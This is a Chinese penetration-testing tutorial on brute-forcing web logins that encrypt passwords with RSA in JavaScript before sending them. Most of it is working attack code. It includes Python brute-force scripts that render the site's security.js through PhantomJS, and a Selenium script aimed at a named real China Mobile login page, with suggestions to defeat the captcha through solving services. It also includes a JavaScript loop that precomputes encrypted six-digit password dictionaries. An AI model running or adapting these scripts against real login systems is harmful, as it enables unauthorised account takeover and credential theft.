一. 概述
渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。鉴于这种情况,这边分析四种方式进行绕过加密爆破。
二. 方法和思路
1. 分析找出是哪个js文件进行了password参数值的加密,将该js导入本地动态执行,建一个小型的web服务器,利用浏览器页面将js运行起来,把账号密码发给本地这个服务器,然后本地js执行加密之后把加密的值再给登录的请求,实现普通的发包爆破。(这个时候普通的发包方式password参数的值就是加密之后的值)(这里渲染 js 可以用 webdrive 或者 phantomjs,或者 Node.js 都行)
2. 利用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破.(类似的工具,或者 Node.js,按键精灵,QTP 工具等都可以)
3. 通过对js里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式(再下使用的是python),写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。(也是实现普通的发包爆破)
4. 利用前面的方法,把密码字典全部加密之后生成对应加密字典,然后普通发包爆破的时候传入加密的字典。
三. 具体的分析
1. 第一种方式:本地动态执行js
1) 分析登录界面,根据登录按钮之后进行burp抓包,发现每次登陆之前都会先请求一个页面
而该页面返回的是一个json格式的m开头和e开头的值
下图是直接从浏览器访问的截图
根据元素定位,从登陆页面的 login()函数设置执行断点调试,理清密码利用 js 加密的一个过程,最后找出加密过程为登陆页面中的 rasEncode函数
contextPath:就是网站首页
str :是输入的密码的明文
url :contextPath+”抹掉的路径”,就是上面所说每次登陆之前去请求的页面,请求得到的就是modulus和exponent值
RSAPUB_KEY就是利用RSAUtils.getKeyPair函数加密modulus和exponent得到的值
enpassword就是最后我们在 第一张图里burp 里抓到密码经过 js加密之后的值。
enpassword过程是利用RSAUtils.encryptedString函数,使RSAPUB_KEY为加密秘钥对原始密码进行字符串编码的值进行加密的结果(encodeURIComponent是 JavaScript 中对字符串编码的函数)
document.getElementById(‘password’).value=enpassword,HTML 中一个方法,最好将 enpassword 的值给需要post 的password 字段。
该过程中使用到的最主要的就是RSAUtils.getKeyPair和RSAUtils.encryptedString这两个方法。
通过最 Sources 的搜索,发现这两个方法都是security.js 中定义的。
理清过程和找到对应的 js 之后,就可以将 security.js 文件保存到本地,利用 python(也可以用其他语言)编写一个简易的的服务器接收原始密码,计算输出 js 加密之后的密文。
实现如下:
server.py是起 简易server的脚本
security.js 就是上面找到的加密的 js
index.html获取原始密码的首页,result.html是进行加密的页面
server.py 的代码:
index.html 的代码:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post" action="/">
modulus:<input type="text" name="modulus" id="modulus"/><br>
exponent:<input type="text" name="exponent" id="exponent"/><br>
password:<input type="text" name="password" id="password"/><br>
<button type="submit">submit</button>
<br>
</form>
</body>
</html>
result.html 的代码:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="static/security.js"></script>
</head>
<body>
<p id="modulus" style="display: none">{{ modulus }}</p><br>
<p id="exponent" style="display: none">{{ exponent }}</p><br>
<p id="result">Hello World!</p>
这个 js 脚本就是图七中加密的过程的精简
<script>
var RSAPUB_KEY = '';
var enpassword = '';
var modulus = document.getElementById('modulus').textContent;
var exponent = document.getElementById('exponent').textContent;
RSAPUB_KEY = RSAUtils.getKeyPair(exponent, '', modulus);
enpassword = RSAUtils.encryptedString(RSAPUB_KEY, encodeURIComponent('{{ password }}'));
document.getElementById("result").innerHTML = enpassword;
console.log(enpassword);
</script>
</body>
</html>
server 运行起来之后打开的效果:
下图是最后的运行结果,这也是我们需要的加密之后的值
接着就是爆破的脚本brute.py通过python的request模块实现:
# -*- coding:utf-8 -*- from selenium import webdriver import requests import json class INFO: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' ARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def __init__(self): self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC driver = webdriver.PhantomJS(executable_path="phantomjs") session = '' def get_pubkey(): pubkey_url = 'https://xxx.xxxxx.xxx'#这里就是图三和图四所说的登录之前都要先获取的modulus和exponent字段的 url, 其实这 get_pubkey 都不需要,最后发现每次请求的modulus和exponent都没有变。 response_pub = requests.post(pubkey_url) txt = json.loads(response_pub.content) modulus = txt['modulus'] exponent = txt['exponent'] return modulus, exponent #定义的get_enrsapassword函数就是获取加密之后的 password 值,这里利用PhantomJS对之前搭建的小型 server 的 index.html 和 result.html 页面进行渲染。 def get_enrsapassword(modulus, exponent, password): driver.get('http://127.0.0.1:5000') driver.find_element_by_id('modulus').send_keys(modulus) driver.find_element_by_id('exponent').send_keys(exponent) driver.find_element_by_id('password').send_keys(password) driver.find_element_by_tag_name('button').click() return driver.find_element_by_id('result').text#最后得到就是加密之后的 password 值 def verifyCode(session, url): #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。 return verifyCode def login_snmoblie(session, username, enrsapassword, password): login_url = 'https://aa.bb.cccc.ddd/xxxxxxx' verifyCode_url='http://aa.bb.cccc.ddd/lsdfghdfgh.png' verifycode = verifyCode(session,verifyCode_url) data = { 'userName': username, 'password': enrsapassword, 'verifyCode': verifycode, 'OrCookies': '1', 'loginType': '1', 'fromUrl': 'uiue/login_max.jsp', 'toUrl': 'http://www.xx.cccc.cn/xx/xxxxx/' } logingres = session.post(login_url, data=data, allow_redirects=True) logingres_content = logingres.content con = re.findall('redirect.html', logingres_content) if con: print INFO().SUCCESS, INFO.OKGREEN + ' Find user:', username, ' and password:', password + INFO.ENDC else: print INFO().FAILED, INFO.FAIL + 'Error user:', username, 'and password:', password + INFO.ENDC if __name__ == '__main__': print INFO.OKGREEN + 'start brute force' + INFO.ENDC keys = get_pubkey() with open('dict.dict', 'r') as user: for userinfo in user.readlines(): session = requests.Session() enrsapassword = get_enrsapassword(keys[0], keys[1], userinfo.split(':')[1].strip()) login_snmoblie(session, userinfo.split(':')[0].strip(), enrsapassword, userinfo.split(':')[1].strip())
爆破过程:
1.现将 server.py 运行起来
python server.py
2.然后运行爆破脚本
python brute.py
2. 第二种方式
利用selenium webdriver,(或者其他类似的自动化工具)本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破。
webdriver的实现代码如下
# -*- coding:utf-8 -*- from selenium import webdriver import time import requests class INFO: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' ARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def __init__(self): self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC def verifyCode(verifyCode_xpath): #利用 webdrive 这种驱动浏览器爆破的方式,打码就不能利用会话获取验证码,只能通过截图把当前页面的验证码截图下来,然后上传到打码平台进行打码 #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。 return verifyCode def login(driver, username, password): driver.get('https://sn.ac.10086.cn/login') time.sleep(2) verifyCode_xpath = '//*[@id="verifyImg"]' #验证码的 xpath verifycode = verifyCode(verifyCode_xpath) driver.find_element_by_xpath('//*[@id="userName"]').send_keys(username)#获取用户名的 Xpath 并传值 driver.find_element_by_xpath('//*[@id="password"]').send_keys(password)#获取密码的 Xpath,并传值 driver.find_element_by_xpath('//*[@id="verifyCode"]').send_keys(verifycode)#获取验证码的 Xpath,并将打码结果传给他 driver.find_element_by_xpath('//*[@id="shoujihaoma"]/p[6]/span').click()#点击登录 login_url = 'http://service.sn.10086.cn/app?service=page/MyMainPage&listener=initPage' time.sleep(6) print driver.current_url if driver.check_result(url=login_url, exkeyword_xpath={'//*[@id="loginButton"]': '登录'}): print INFO().SUCCESS else: print INFO().FAILED #if 语句进行登录成功与否的判定 if __name__ == '__main__': proxy = "127.0.0.1:8080" #添加代理选项是查看爆破的情况 chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--proxy-server=%s' % proxy) driver = webdriver.Chrome(chrome_options=chrome_options) with open ('dict', 'r') as dict: users = dict.readlines() for U in users: username = U.split(':')[0].strip() password = U.split(':')[1].strip() login(driver, username, password)
3. 第三种方式,通过对js里的加密算法进行破解,或者是理清加密流程:
第一是完全读懂他加密算法的实现然后破解他的加密算法然后用自己熟知的编程语言重写实现对密码加密,或者不用读懂破解他的算法,理清他的逻辑照着写一个就行了,例如他用定义变量,你也定义变量,他循环你也循环,完全照抄翻译式的写一个即可。写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。(也是实现普通的发包爆破)
我们可以简单看看他这里的实现逻辑,
从第一种方法分析中我们得知,这里就是实现密码加密的方法,简单的看是一个 RSA 家吗RSAUtils.getKeyPair函数利用exponent和modulus生成加密的公钥,然后RSAUtils.encryptedString利用公钥对密码进行加密,从断点调试中可以得知 RSAPUB_KEY类型是一个对象。
而调用RSAUtils.getKeyPair和RSAUtils.encryptedString这两个函数是 security.js 这个 js 文件里定义的加密方法。
下图是RSAUtils.encryptedString
去看了下标准的 RSA 加密算法,每次得到的 利用相同的公钥enpassword 都会变,因为添加的因子,但是这个 security.js 里的 js 每次的 enpassword 都是固定,所以跟标准的还是有出入,最后花了是哪个小时左右一直没有进展,就没有继续分析下去了。不过这里更多的是提供分析的思路。知道的大牛可以传授我姿势。(如果日后还有时间,会把具体的实现代码补上)
4. 第四种方式,利用上述的方法,把原始密码字典转换成加密之后的字典,然后普通发包爆破的时候传入加密的字典。
到时候字典做成对应的格式
例如
admin: admin的加密值
123456:123456的加密值
qwerty:qwerty 的加密值
做成上面这种字典,发包传入的是是加密之后的值,终端打出来或者爆破成功之后保存的却是原始的值,利用我上文用的这个 spilt 方式取值。
username = U.split(':')[0].strip()
password = U.split(':')[1].strip()
下面是我利用 html 写的一个简单转化的方法,写的很简单,没有实现保存保存的格式大家可以自行修改丰富,或者利用我第一种方式里的那个代码原理去实现
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="security.js"></script>
</head>
<body>
<p id="modulus" style="display: none">{{ modulus }}</p><br>
<p id="exponent" style="display: none">{{ exponent }}</p><br>
<p id="result">Hello World!</p>
<script>
var RSAPUB_KEY = '';
var enpassword = '';
var modulus = '009f8709656328cd8f93d6b862bde481ea0a52b17e7fa3e1875054095f1525715058b7398dc8e6696082de5412bf04576979e2534e89466a2c3ca4d8a6a82edd31860b3ad508664dc7367fe57b4cef6720adeadf64e8dc82f57295aa2bad50b19b7ca348568f4d7af79cd659afb79cf6a0fa63409c1f4f88e10c0b93a388292665';
var exponent = '010001';
var RSAPUB_KEY = RSAUtils.getKeyPair(exponent, '', modulus);
for(var ii=100000; ii<1000000; ii++) {
enpassword = RSAUtils.encryptedString(RSAPUB_KEY, ''+ii);
console.log(enpassword);
}//这里我是用的循环加密我需要的6位的数字密码,大家可以在这里导入自己的字典实现循环加密得到对应的字典
</script>
</body>
</html>